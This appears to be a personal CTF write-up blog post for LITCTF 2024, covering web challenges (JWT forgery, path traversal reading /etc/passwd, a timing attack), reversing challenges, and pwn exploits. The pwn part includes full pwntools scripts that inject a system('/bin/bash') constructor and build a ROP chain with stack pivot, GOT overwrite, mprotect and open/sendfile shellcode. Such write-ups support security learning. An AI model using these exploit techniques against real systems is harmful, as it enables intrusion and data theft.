➜ ~

Playing Hacks and Stuffs!


Project maintained by h4ckyou Hosted on GitHub Pages — Theme by mattgraham

LITCTF 2024

image

Hey guys, 0x1337 here.

This writeup contains the challenge to which I solved during the CTF

Web (5/6)

Reversing (4/6)

Pwn (5/8)

Ok let’s start and note that i won’t give very detailed solution to some of the challenges

Web

Anti Inspect

image

From the challenge name you can pretty much tell what this is about

Accessing the provided url works but the content doesn’t seem to be rendered image

Trying to open dev tools doesn’t work because it prevents me from right clicking

I used curl to get the html source image

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
  </head>
  <body>
    <script>
      const flag = "LITCTF{your_%cfOund_teh_fI@g_94932}";
      while (true)
        console.log(
          flag,
          "background-color: darkblue; color: white; font-style: italic; border: 5px solid hotpink; font-size: 2em;"
        );
    </script>
  </body>
</html>

We can see the flag but that doesn’t work when submitted perhaps due to %c

I just removed it and it worked

Flag: LITCTF{your_fOund_teh_fI@g_94932}

Jwt-1

image

Accessing the provided url shows this image

If we click Get Flag we should get this image

We can register here image

Doing that we should have a valid credential that can get us logged in

Now that we are authentication I checked the cookie available and saw this jwt token image

I decoded it using jwt.io image

{
  "alg": "HS256",
  "typ": "JWT"
}

{
  "name": "pwner123",
  "admin": false
}

I just tried changed the admin key value to true to see if we could access the flag image

Ok that works! And it’s because it doesn’t check for signature validation

Flag: LITCTF{o0ps_forg0r_To_v3rify_1re4DV9}

Jwt-2

image

Ok same web app as the previous one but this time we are provided with the source code

I downloaded it and checking it shows this image image image

First it imports some libraries

image

This is basically used for signing a jwt payload

image

Starts the web app to listen on port 3000 or the port specified in the environment variable

image

Let’s take a look at the routes now:

image

image

image

Because this verification does check the signature we can’t go around this except via setting admin to true

We can easily do that because we know the jwt secret

I wrote a script to generate a token for me image

That’s pretty much just copy paste from the original server code with some modification

Running it i get a token and i used that to get the flag image

Flag: LITCTF{v3rifyed_thI3_Tlme_1re4DV9}

Traversed

image

Accessing the provided url shows this

From the challenge name you can probably tell this is going to be some sort of LFI image

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
  </head>
  <body>
    Welcome! The flag is hidden somewhere... Try seeing what you can do in the url bar.
    There isn't much on this page...
  </body>
</html>

The description on the web page suggests that we should play around with the url bar

I just guessed the parameter to be page and i was able to include any file image

You could as well attempted to fuzz?

ffuf -c -u "http://litctf.org:31778/?FUZZ=../../../../../etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 117,965 -mc all

But doing that I got this image

Well i guess we just needed to guess the parameter

Ok now that we can include any file where’s the flag

The challenge didn’t specify the flag name nor the location so we need to figure that

I assumed the name would be flag.txt

Moving on I checked the content of /etc/passwd image

We have a user called node so I checked the directory if the flag is there but it wasn’t image

I also tried to retrieve the web app source code but that failed image image

Next thing i did was to read the environment variable file image

It downloaded and i checked the content image

NODE_VERSION=16.20.2
HOSTNAME=ac58ff1071df
YARN_VERSION=1.22.19
BUN_INSTALL=/root/.bun
HOME=/root
PATH=/root/.bun/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/app

The path to this web app on the filesystem is /app

So i checked for the flag there image

We could have also gotten that using this image

Flag: LITCTF{backtr@ked_230fim0}

KirbyTime

image

We are given the application source code image image

Ok this code is very small and straight forward

If the request method is POST it will get the password from the request body and makes sure the length is 7

It then goes ahead with the password check which does this:

It’s clear that we need to perform a timing-based attack, which is a type of side-channel attack.

This attack exploits the fact that if a character in our provided password matches the correct one, there will be a slight delay before moving on to check the next character.

We can leverage this time lapse to figure out the correct character at each position

With that here’s my solve script

import requests
import string

url = "http://127.0.0.1:5000"
charset = string.ascii_letters
flag = ""

for i in range(7):
    for j in charset:
        pwd = (flag + j).ljust(7, '.')
        password = {
            "password": pwd
        }
        print(password)
        req = requests.post(url, data=password)
        if int(req.elapsed.total_seconds()) > len(flag):
            flag += j
            break

Here’s it running locally image

We can see it’s retrieving the password image

I ran it on the remote instance multiple times due to latency issue and timeout (the remote instance lasts for just 9 minutes) image

And YES i used a vps to run it due to latency issue

After some minutes i got the password to be kBySlaY

We can confirm it’s right image

Flag: LITCTF{kBySlaY}

Reversing

Forgotten Message

image

I downloaded the binary and searched for low hanging fruits image

Flag: LITCTF{y0u_found_Me_3932cc3}

Kablewy

image

When I accessed the url it made my browser hanged so i had to restart

Trying it again I just used curl to get the html content image

We can see it’s loading a javascript file at /assets/index-DLdRi53f.js

So I curl’ed it image

It gives an ugly js code

I beautified it using js-beautifier image

Looking through it I noticed some variables of type const storing a base64 encoded value image

I decoded the first one and got this image

Another base64 value which on decoding gives this image

while (true) console.log('kablewy');
postMessage('L'); 

An infinite loop that makes sense as to why the browser crashes

We can see it does postMessage('L')

I decoded the second one image

You can notice that the parameter passed into postMessage is the flag character

So we need to decode all values, I used some bash command to help automate this image

grep " \"[A-Za-z0-9]*\"," app.js | xargs -I {} echo {} | tr -d ',' | cut -d '=' -f 2 | cut -d ' ' -f 2 | base64 -d

And now we can fully decode it image

grep " \"[A-Za-z0-9]*\"," app.js | xargs -I {} echo {} | tr -d ',' | cut -d '=' -f 2 | cut -d ' ' -f 2 | base64 -d | cut -d '"' -f 4 | base64 -d

From the result I just wrote the flag manually

Flag: LITCTF{k3F7zH}

Burger Reviewer

image

We are given the Java source code as an attachement

Downloading it and checking the content shows this image image image

I started from the main function image

Here’s what function bun does image

Moving on, it calls some function on our input and does some checks on the gotFlag variable image

This are the function it calls:

We need to make sure that this function returns true

Function cheese() image

public static boolean cheese(String s) {
  return (s.charAt(13) == '_' && (int)s.charAt(17) == 95 && s.charAt(19) == '_' && s.charAt(26)+s.charAt(19) == 190 && s.charAt(29) == '_' && s.charAt(34)-5 == 90 && s.charAt(39) == '_');
}

Function meat() image

public static boolean meat(String s) {
  boolean good = true;
  int m = 41;
  char[] meat = {'n', 'w', 'y', 'h', 't', 'f', 'i', 'a', 'i'};
  int[] dif = {4, 2, 2, 2, 1, 2, 1, 3, 3};
  for (int i = 0; i < meat.length; i++) {
    m -= dif[i];
    if (s.charAt(m) != meat[i]) {
      good = false;
      break;
    }
  }
  return good;
}

Function pizzaSauce() image

public static boolean pizzaSauce(String s) {
  boolean[] isDigit = {false, false, false, true, false, true, false, false, true, false, false, false, false, false};
  for (int i = 7; i < 21; i++) {
    if (Character.isDigit(s.charAt(i)) != isDigit[i - 7]) {
      return false;
    }
  }
  char[] sauce = {'b', 'p', 'u', 'b', 'r', 'n', 'r', 'c'};
  int a = 7; int b = 20; int i = 0; boolean good = true;
  while (a < b) {
    if (s.charAt(a) != sauce[i] || s.charAt(b) != sauce[i+1]) {
      good = false;
      break;
    }
    a++; b--; i += 2;
    while (!Character.isLetter(s.charAt(a))) a++;
    while (!Character.isLetter(s.charAt(b))) b--;
  }
  return good;
}

Basically this function validates a string by ensuring:

Function veggies() image

public static boolean veggies(String s) {
  int[] veg1 = {10, 12, 15, 22, 23, 25, 32, 36, 38, 40};
  int[] veg = new int[10];
  for (int i = 0; i < veg1.length; i++) {
    veg[i] = Integer.parseInt(s.substring(veg1[i], veg1[i]+1));
  }
  return (veg[0] + veg[1] == 14 && veg[1] * veg[2] == 20 && veg[2]/veg[3]/veg[4] == 1 && veg[3] == veg[4] && veg[3] == 2 && veg[4] - veg[5] == -3 && Math.pow(veg[5], veg[6]) == 125 && veg[7] == 4 && veg[8] % veg[7] == 3 && veg[8] + veg[9] == 9 && veg[veg.length - 1] == 2);
}

With this we need to generate the flag that satisfies the functions reviewed so far

First we need it to be in the flag format and make sure it’s length is 42

- LITCTF{..................................}

Based on function cheese() , working on the string we get this: image

def cheese(s):
    idx = {13: '_', 17: chr(95), 19: '_', 26: chr(190-ord('_')), 29: '_', 34: chr(90+5), 39: '_'}
    s = s

    for key, val in idx.items():
        s[key] = val
    
    return s
- LITCTF{......_..._._......_.._...._...._.}

Working on function meat(), i got this image

def _meat(s):
    m = 41
    meat = ['n', 'w', 'y', 'h', 't', 'f', 'i', 'a', 'i']
    dif = [4, 2, 2, 2, 1, 2, 1, 3, 3]
    s = s
    
    for i in range(len(meat)):
        m -= dif[i]
        s[m] = meat[i]

    return s
- LITCTF{......_..._._.i..a._if_th.y_w.n._.}

We can’t work on pizzaSauce() because it’s dependent on surrounding characters so we need to first process the numbers in veggies so that isLetter works

Working on function veggies(), i got this image

I did the math operations by hand

flag[22] = '2' # veg[3] == 2 
flag[23] = '2' # veg[3] == veg[4]
flag[15] = '4' # veg[2]/veg[3]/veg[4] == 1
flag[12] = '5' # veg[1] * veg[2] == 20
flag[10] = '9' # veg[0] + veg[1] == 14
flag[25] = '5' # veg[4] - veg[5] == -3
flag[32] = '3' # pow(veg[5], veg[6]) == 125
flag[36] = '4' # veg[7] == 4
flag[38] = '7' or '3' # veg[8] % veg[7] == 3
flag[40] = '2' # veg[veg.length-1] == 2
flag[38] = '7' # veg[8] + veg[9] = 9
def veggies(s):
    idx = {
        23: '2',
        15: '4',
        12: '5',
        10: '9',
        25: '5',
        32: '3',
        36: '4',
        38: '7',
        40: '2',
        38: '7'
    }

    s = s

    for key, val in idx.items():
        s[key] = val
    
    return s
- LITCTF{...9.5_.4._._.i.2a5_if_th3y_w4n7_2}

Now for the pizzaSauce function which should give us the final flag image

Here’s the solve script

import string

def cheese(s):
    idx = {13: '_', 17: chr(95), 19: '_', 26: chr(190-ord('_')), 29: '_', 34: chr(90+5), 39: '_'}
    for key, val in idx.items():
        s[key] = val
    return s

def _meat(s):
    m = 41
    meat = ['n', 'w', 'y', 'h', 't', 'f', 'i', 'a', 'i']
    dif = [4, 2, 2, 2, 1, 2, 1, 3, 3]
    for i in range(len(meat)):
        m -= dif[i]
        s[m] = meat[i]
    return s

def veggies(s):
    idx = {
        22: '2',
        23: '2',
        15: '4',
        12: '5',
        10: '9',
        25: '5',
        32: '3',
        36: '4',
        38: '7', 
        40: '2'
    }
    for key, val in idx.items():
        s[key] = val
    return s

def pizzaSauce(s):
    sauce = ['b', 'p', 'u', 'b', 'r', 'n', 'r', 'c']
    isDigit = [False, False, False, True, False, True, False, False, True, False, False, False, False, False]
    a, b, i = 7, 20, 0

    for j in range(7, 21):
        assert (s[j].isdigit() == isDigit[j - 7])

    while a < b:
        s[a] = sauce[i]
        s[b] = sauce[i + 1]
        a += 1
        b -= 1
        i += 2

        while a < b and s[a] not in string.ascii_letters:
            a += 1
        while a < b and s[b] not in string.ascii_letters: 
            b -= 1
    
    return s

flag = list("LITCTF{" + "a"*34 + "}")
cheesed = cheese(flag)
meat_r = _meat(cheesed)
veggie = veggies(meat_r)
final_flag = pizzaSauce(veggie) 
print(''.join(final_flag))

We can validate it’s the flag by compiling the java file and running it image

And we have the flag 🙂

Flag: LITCTF{bur9r5_c4n_b_pi22a5_if_th3y_w4n7_2}

Revsite1

image

We are given a url and on accessing it i saw this image

Basically there’s a checkbox that receives our input which is the flag and maybe if it’s right it would let us know

Looking at the page source i saw this image

We can see it’s importing a script and also does this

<script>
function checkFlag(){
	let flag = document.getElementById("flag").value;
	let flag_len = flag.length+1;
	
	let flag_arr = Array(flag_len).fill(0);
	for(let i = 0; i < flag_len-1; i++){
		flag_arr[i] = flag.charCodeAt(i);
	}
	
	let flag_ptr = Module._malloc(flag_len);
	Module.HEAPU8.set(new Uint8Array(flag_arr), flag_ptr);
	let res = Module.cwrap("check_flag", "number", ["number"])(flag_ptr);
	Module._free(flag_ptr);
	
	if(res == 1){
		document.getElementById("right").innerHTML = "ur right :)";
		document.getElementById("wrong").innerHTML = "";
	}else{
		document.getElementById("right").innerHTML = "";
		document.getElementById("wrong").innerHTML = "ur wrong :(";
	}
}
</script>

This is Web Assembly (WASM)

WebAssembly is an open standard that allows the execution of binary code on the web. This standard, or format code, lets developers bring the performance of languages like C, C++, and Rust to the web development area.

If we take a look at the dev tools we can see the wasm file image

I downloaded it image

From the above js code we can see that our input is going to be passed as a parameter to check_flag

We need to figure out what this function does

Ghidra has a plugin which decompiles a wasm file you can get it here

At this point I imported the wasm file into Ghidra and here’s the layout image

The check_flag function is in the Exports image

Here’s the decompiled code image image

We can see it setups some value on the stack then compares our input against the value using strcmp

I just decoded those values and got the flag

''.join(chr(x) for x in [76, 73, 84, 67, 84, 70, 123, 116, 48, 100, 52, 121, 95, 49, 53, 95, 108, 49, 116, 51, 114, 97, 108, 108, 121, 95, 116, 104, 51, 95, 100, 52, 121, 95, 98, 51, 102, 48, 114, 101, 95, 116, 104, 101, 95, 99, 48, 110, 116, 51, 115, 116, 125, 0, 0, 0, 0, 0, 0, 0])
'LITCTF{t0d4y_15_l1t3rally_th3_d4y_b3f0re_the_c0nt3st}\x00\x00\x00\x00\x00\x00\x00'

We can confirm it’s the flag image

Flag: LITCTF{t0d4y_15_l1t3rally_th3_d4y_b3f0re_the_c0nt3st}

PWN WRITEUP SOON

Function Pairing

image

I don’t have my solve script for this again

But it was just a basic ret2libc

Infinite Echo

image

No solve script but this was a format string bug

GOT overwrite of printf to system

Recurse

image

This program would let us write into any file

If the file is written it would recompile main.c and execute it

I wrote a function that calls system('/bin/sh') as a constructor into main.c

Here’s my solve

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from warnings import filterwarnings

# Set up pwntools for the correct architecture
exe = context.binary = ELF('main')
context.terminal = ['xfce4-terminal', '--title=GDB-Pwn', '--zoom=0', '--geometry=128x50+1100+0', '-e']

filterwarnings("ignore")
context.log_level = 'info'

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE: 
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

def init():
    global io

    io = start()

def solve():
    # call as a constructor: int pwn(void)__attribute__((constructor));int pwn(void){system("touch /tmp/a.txt");return 0;}
    values = ['int pwn(void)', '__attribute__', '((constructor));', 'int pwn(void){', 'system("/bin/bash");', 'return 0;}']

    for i in range(len(values)):
        sleep(1)
        print(f'[*] Sending -> {values[i]}')
        init()
        io.recvuntil("name?")
        io.sendline("main.c")
        io.recvuntil("(W)?")
        io.sendline("W")
        io.recvuntil("Contents?")
        io.sendline(values[i])
        

    io.interactive()

def main():
    
    solve()


if __name__ == '__main__':
    main()

W4dup 2de

image

Here’s what this main function does

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  init_seccomp(argc, argv, envp);
  buf[read(0, buf, 0x100uLL) - 1] = 0;
  return 0;
}

Obvious buffer overflow

There’s seccomp rule which disables some syscalls

__int64 init_seccomp()
{
  __int64 v1; // [rsp+18h] [rbp-8h]

  v1 = seccomp_init(2147418112LL);
  seccomp_rule_add(v1, 0LL, 0LL, 1LL);
  seccomp_rule_add(v1, 0LL, 59LL, 0LL);
  seccomp_rule_add(v1, 0LL, 322LL, 0LL);
  seccomp_rule_add(v1, 0LL, 187LL, 0LL);
  seccomp_rule_add(v1, 0LL, 89LL, 0LL);
  seccomp_rule_add(v1, 0LL, 267LL, 0LL);
  seccomp_rule_add(v1, 0LL, 19LL, 0LL);
  seccomp_rule_add(v1, 0LL, 17LL, 0LL);
  seccomp_rule_add(v1, 0LL, 295LL, 0LL);
  seccomp_rule_add(v1, 0LL, 327LL, 0LL);
  return seccomp_load(v1);
}

Syscall disallowed are:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x12 0xc000003e  if (A != ARCH_X86_64) goto 0020
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0f 0xffffffff  if (A != 0xffffffff) goto 0020
 0005: 0x15 0x0e 0x00 0x00000011  if (A == pread64) goto 0020
 0006: 0x15 0x0d 0x00 0x00000013  if (A == readv) goto 0020
 0007: 0x15 0x0c 0x00 0x0000003b  if (A == execve) goto 0020
 0008: 0x15 0x0b 0x00 0x00000059  if (A == readlink) goto 0020
 0009: 0x15 0x0a 0x00 0x000000bb  if (A == readahead) goto 0020
 0010: 0x15 0x09 0x00 0x0000010b  if (A == readlinkat) goto 0020
 0011: 0x15 0x08 0x00 0x00000127  if (A == preadv) goto 0020
 0012: 0x15 0x07 0x00 0x00000142  if (A == execveat) goto 0020
 0013: 0x15 0x06 0x00 0x00000147  if (A == preadv2) goto 0020
 0014: 0x15 0x00 0x04 0x00000000  if (A != read) goto 0019
 0015: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # read(fd, buf, count)
 0016: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0020
 0017: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
 0018: 0x15 0x00 0x01 0x00000000  if (A != 0x0) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x06 0x00 0x00 0x00000000  return KILL

My solution involves:

My solve script: solve

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from warnings import filterwarnings

# Set up pwntools for the correct architecture
exe = context.binary = ELF('main_patched')
context.terminal = ['xfce4-terminal', '--title=GDB-Pwn', '--zoom=0', '--geometry=128x50+1100+0', '-e']

filterwarnings("ignore")
context.log_level = 'info'

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE: 
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

gdbscript = '''
init-pwndbg
b *0x4013bd
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

#    0x00000000004013b0 <+64>:    mov    rdx,r14
#    0x00000000004013b3 <+67>:    mov    rsi,r13
#    0x00000000004013b6 <+70>:    mov    edi,r12d
#    0x00000000004013b9 <+73>:    call   QWORD PTR [r15+rbx*8]
#    0x00000000004013bd <+77>:    add    rbx,0x1
#    0x00000000004013c1 <+81>:    cmp    rbp,rbx
#    0x00000000004013c4 <+84>:    jne    0x4013b0 <__libc_csu_init+64>
#    0x00000000004013c6 <+86>:    add    rsp,0x8
#    0x00000000004013ca <+90>:    pop    rbx
#    0x00000000004013cb <+91>:    pop    rbp
#    0x00000000004013cc <+92>:    pop    r12
#    0x00000000004013ce <+94>:    pop    r13
#    0x00000000004013d0 <+96>:    pop    r14
#    0x00000000004013d2 <+98>:    pop    r15
#    0x00000000004013d4 <+100>:   ret

def init():
    global io

    io = start()


def ret2csu(edi, rsi, rdx, rbx, rbp, ptr, junk):
    csu_pop = 0x4013c6
    csu_call = 0x4013b0

    payload = flat([
        csu_pop,
        junk,
        0x0,
        rbp,
        edi,
        rsi,
        rdx,
        ptr,
        csu_call,
        junk,
        0x1,
        rsi,
        0x3,
        0x4,
        0x5,
        0x6
    ])

    return payload


def solve():

    ##############################################################################
    # Stage 1: Stack Pivot to bss section
    ##############################################################################
    
    offset = 40
    leave_ret = 0x40132d # leave; ret;
    data_addr = 0x404500 

    stack_pivot = ret2csu(0, data_addr, 0x500, 0, 1, exe.got['read'], b'a'*8)

    payload = flat({
        offset: [
            stack_pivot,
            leave_ret
        ]
    })

    io.send(payload)
    info("stack pivot to: %#x", data_addr)

    ##############################################################################
    # Stage 2: Overwrite the got of read to syscall
    ##############################################################################

    overwrite = ret2csu(0, exe.got['read'], 1, 0, 1, exe.got['read'], b'b'*8)

    ropchain = flat(
        [   
            b'a'*8,
            overwrite
        ]
    )

    """
    Future read calls are now a syscall gadget
    Also rax is the untouched on read return, so rax=0x1=SYS_write
    So we now call write() to set rax
    """

    ##############################################################################
    # Stage 3: Call write() to set rax to mprotect syscall number 
    ##############################################################################

    sys_number = 0xA
    set_rax = ret2csu(1, data_addr, sys_number, 0, 1, exe.got['read'], b'c'*8)
    
    ropchain += set_rax
 
    ################################################################################
    # Stage 3: Call mprotect() to make data_addr readable/writeable/executable (rwx)
    ################################################################################

    page_size = 4096
    data_page = data_addr & ~(page_size - 1)
    prot = 0x7
    size = 0x1000

    mprotect = ret2csu(data_page, size, prot, 0, 1, exe.got['read'], b'd'*8)

    ropchain += mprotect

    ################################################################################
    # Stage 3: Call shellcode: I'm doing sendfile(1, open('flag.txt', 0), 0, 0x100)
    ################################################################################

    sc_addr = data_addr + len(ropchain) + 8
    info("shellcode address: %#x", sc_addr)

    shellcode  =  asm('nop')*30
    shellcode +=  asm(shellcraft.open(b'flag.txt\x00', constants.O_RDONLY))
    shellcode +=  asm(shellcraft.sendfile(1, 'rax', 0x0, 0x100))
    shellcode +=  asm(shellcraft.exit(0))

    sleep(1)

    ropchain += p64(sc_addr)
    ropchain += shellcode

    io.send(ropchain)
    io.sendline(p8(0xf0))


    io.interactive()



def main():
    
    init()
    solve()

if __name__ == '__main__':
    main()

####Iloveseccomp

image